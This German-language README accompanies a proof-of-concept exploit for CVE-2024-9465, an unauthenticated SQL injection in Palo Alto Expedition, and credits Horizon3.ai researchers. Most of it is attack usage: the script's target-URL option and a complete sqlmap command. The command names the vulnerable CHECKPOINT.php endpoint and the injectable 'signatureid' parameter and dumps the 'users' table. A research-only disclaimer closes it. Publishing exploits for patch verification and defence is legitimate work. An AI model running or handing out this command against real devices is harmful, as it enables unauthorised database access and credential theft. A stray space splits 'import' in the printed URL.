CVE-2024-9465: Palo Alto Expedition – Unauthentifizierte SQL-Injection

Proof-of-Concept zur Ausnutzung von CVE-2024-9465 auf anfälligen Geräten.

Blogbeitrag

Grundursache und Kompromittierungsindikatoren hier: https://www.horizon3.ai/attack-research/palo-alto-expedition-from-n-day-to-full-compromise/

Verwendung

% python3 CVE-2024-9465.py -h
usage: CVE-2024-9465.py [-h] -u URL

options:
  -h, --help         show this help message and exit
  -u URL, --url URL  The URL of the target

SQLMap Tabellen-Dump

python3 sqlmap.py -u "https://<ip_address>/bin/configurations/parsers/Checkpoint/CHECKPOINT.php?action=im port&type=test&project=pandbRBAC&signatureid=1" -p signatureid -T users --dump

Folgen Sie dem Horizon3.ai Attack Team auf Twitter für die neueste Sicherheitsforschung:

• Horizon3 Attack Team
• James Horseman
• Zach Hanley

Haftungsausschluss

Diese Software wurde ausschließlich für Zwecke der akademischen Forschung und zur Entwicklung effektiver Abwehrtechniken erstellt und ist nicht dazu bestimmt, Systeme anzugreifen, es sei denn, dies wurde ausdrücklich autorisiert. Die Projektbetreuer übernehmen keine Verantwortung oder Haftung für Missbrauch der Software. Verwenden Sie sie verantwortungsbewusst.